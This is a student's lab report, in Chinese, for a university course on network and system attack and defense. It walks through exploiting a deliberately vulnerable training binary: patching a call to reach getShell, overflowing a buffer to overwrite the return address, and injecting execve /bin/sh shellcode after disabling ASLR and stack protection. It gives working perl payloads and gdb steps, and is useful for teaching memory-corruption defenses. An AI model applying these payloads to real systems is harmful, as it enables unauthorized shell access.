# 20222410 2024-2025-1 《网络与系统攻防技术》实验一实验报告
1.实验内容
本周,我们深入学习了缓冲区溢出的相关知识。在课堂上,我们学习了缓冲区溢出的一些基本知识,如汇编语言以及Windows和Linux系统下的进程内存管理机制等,也看了一些缓冲区溢出攻击的实例。同时,我们也学习了与缓冲区溢出有关的技术,如Shellcode技术和缓冲区溢出防范技术。
本次实验的对象是一个名为pwn1的linux可执行文件,该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。
本次实验的具体内容如下:
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数
- 注入一个自己制作的shellcode并运行这段shellcode
2.实验过程
2.1 直接修改程序机器指令,改变程序执行流程
(一)下载目标文件,反汇编(这里我将目标文件pwn1重命名为20222410)
objdump -d 20222410 | more
"call 8048491 "是汇编指令,这条指令将调用位于地址8048491处的foo函数,其对应的机器指令为“ e8 d7ffffff”
(二)修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff
main函数调用foo,对应机器指令为“ e8 d7ffffff”,那我们想让它调用getShell,只要修改“d7ffffff”为"getShell-80484ba"对应的补码就行,算得补码为c3ffffff。
使用vi工具进入20222410文件进行修改
vi 20222410
输入":%!xxd"命令将显示模式切换为16进制模式
:%!xxd
输入命令"/e8d7"查找要修改的内容。
/e8d7
在这里,我遇到了问题。参考实验指导书,我输入命令/e8d7
却查不到要修改的内容,后来经过和同学讨论,我发现可以输入命令/d7ff
和/f0e8
去查找要修改的内容,原本需要修改的内容被分成两个部分,位于两个4位16进制数中。
修改d7为c3
转换16进制为原格式并存盘退出vi
`:%!xxd -r`
`:wq`
再反汇编看一下,call指令是否正确调用getShell
objdump -d 20222410 | more
发现d7已被改为c3
运行下改后的代码,会得到shell提示符
./20222410
2.2 通过构造输入参数,造成BOF攻击,改变程序执行流
(一)反汇编,了解程序的基本功能
objdump -d 20222410 | more
我们的目标是触发这个getshell函数
(二)确认输入字符串哪几个字符会覆盖到返回地址
`gdb 20222410`
`(gdb) r`
`(gdb) info r`
此时EIP的值,是ASCII 5
`(gdb) r`
`(gdb) info r`
输入字符串1111111122222222333333334444444412345678,那 1234 那四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为 getShell 的内存地址,输给20222410,20222410就会运行getShell。
(三)确认用什么值来覆盖返回地址
getShell的内存地址,通过反汇编时可以看到,即0804847d。
接下来要确认下字节序,简单说是输入11111111222222223333333344444444\x08\x04\x84\x7d,还是输入11111111222222223333333344444444\x7d\x84\x04\x08。
`(gdb) break *0x804849d`
`(gdb) info break`
`(gdb) r`
`(gdb) info r`
对比之前 eip 0x34333231 0x34333231 ,正确应用输入11111111222222223333333344444444\x7d\x84\x04\x08。
(四)构造输入字符串
由为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以先生成包括这样字符串的一个文件。\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
使用16进制查看指令xxd查看input文件的内容是否如预期。
# xxd input
然后将input的输入,通过管道符“|”,作为20222410的输入。
`(cat input; cat) | ./20222410`
`(perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"';cat) | ./20222410`
2.3 注入Shellcode并执行
先做好准备工作
execstack -s pwn1 //设置堆栈可执行
execstack -q pwn1 //查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space
构造要注入的payload
Linux下有两种基本构造攻击buf的方法:
- retaddr+nop+shellcode
- nop+shellcode+retaddr。
因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边。
我们采取的结构为nops+shellcode+retaddr。
- nop一为是了填充,二是作为“着陆区/滑行区”。
- 我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
接下来我们来确定\x4\x3\x2\x1到底该填什么。
打开一个终端注入这段攻击buf:
(cat input_shellcode;cat) | ./20222410
再开另外一个终端,用gdb来调试20222410这个进程。
ps -ef | grep 20222410
找到20222410的进程号是:23826
启动gdb调试这个进程
gdb
通过设置断点,来查看注入buf的内存地址
`(gdb) disassemble foo`
`(gdb) break *0x080484ae`
在第一个终端中按下回车
(gdb) c
(gdb) info r esp
(gdb) x/16x 0xffffd31c
这里就能看到 01020304了,0xffffcfac 即为返回地址的位置。shellcode挨着,所以地址是 0xffffcfac,再次修改构造的字符串:
`perl -e 'print "A" x 32;print "\x20\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode`
`xxd input_shellcode`
再输入(cat input_shellcode; cat) | ./20222410
,将“input_shellcode”作为20222410的输入。
成功注入shellcode,获取shell。
3.问题及解决方案
-
问题1:在修改程序机器指令时,将20222410文件的显示形式切换为16进制模式,按照实验指导书输入命令
/e8d7
无法查询到对应信息 -
问题1解决方案:改为输入命令
/d7ff
或/f0e8
可查询到,或在e8和d7中间加一个空格也能搜到,即输入/e8 d7
也可。 -
问题2:在注入Shellcode并执行的准备工作时
输入execstack命令提示无法找到这个execstack工具包 -
问题2解决方案:我先使用 sudo apt-get update和sudo apt-get upgrade命令更新后再进行安装execstack,显示仍然安装不成功,最终决定外部官网安装,官网链接为:http://ftp.de.debian.org/debian/pool/main/p/prelink/execstack_0.0.20131005-1+b10_amd64.deb
-
问题3:在注入Shellcode并执行的准备工作时
想要关闭地址的随机化,提示zsh: 权限不够: /proc/sys/kernel/randomize_va_space -
问题3解决方案:这个错误表明我的用户账户没有足够的权限来修改这个文件,我输入命令
echo "0" | sudo tee /proc/sys/kernel/randomize_va_space
后成功关闭了地址的随机化。
4.学习感悟、思考等
-
在本次实验中,我深刻体验到了理论知识与实践操作紧密结合的重要性。通过此次实践,我对Linux可执行文件的内部结构、汇编指令的机器码、反汇编技术以及十六进制编程有了更深入的理解。同时,我也了解了NOP、JNE、JE、JMP、CMP等汇编指令的机器码,这些指令在修改程序执行流程和构造攻击payload时至关重要。此外,我也学会了使用反汇编工具查看程序指令,以及运用十六进制编程器修改机器码。这些技能的提升,增强了我对程序底层结构的理解。
-
遇到问题要多请教他人:在本次实验中,我多次遇到权限不足的问题,例如在关闭地址随机化和进行 gdb 操作时,都收到权限不足的提示。有些问题可以通过自主更新升级来解决,有些则需要下载外部资源包。例如,在执行 execstack 命令时,我花费了超过半个小时进行更新和升级,仍无法成功安装。最终在询问同学后,从外网下载了资源包,不到一分钟就解决了困难。这让我深刻体会到他人帮助的重要性。
-
遇到问题要灵活变通:在修改程序机器指令的实验过程中,我遇到了一个难题。需要将20222410文件的显示形式切换为16进制模式,但按照实验指导书输入的命令
/e8d7
无法查询到对应信息。一开始,我怀疑时是我下载的文件有问题,重新下载了文件仍然查询不到。然后,我又怀疑是不是操作过程出现了错误,经过仔细检查也没发现问题。最后经过思考,我意识到可能是查询命令的使用方式有误,因为通常只能以四个十六进制为一组进行组内查询。于是,我尝试输入命令/d7ff
或/f0e8
,最终成功查询到了所需信息。这告诉我,在实验中要灵活变通,善于思考和尝试。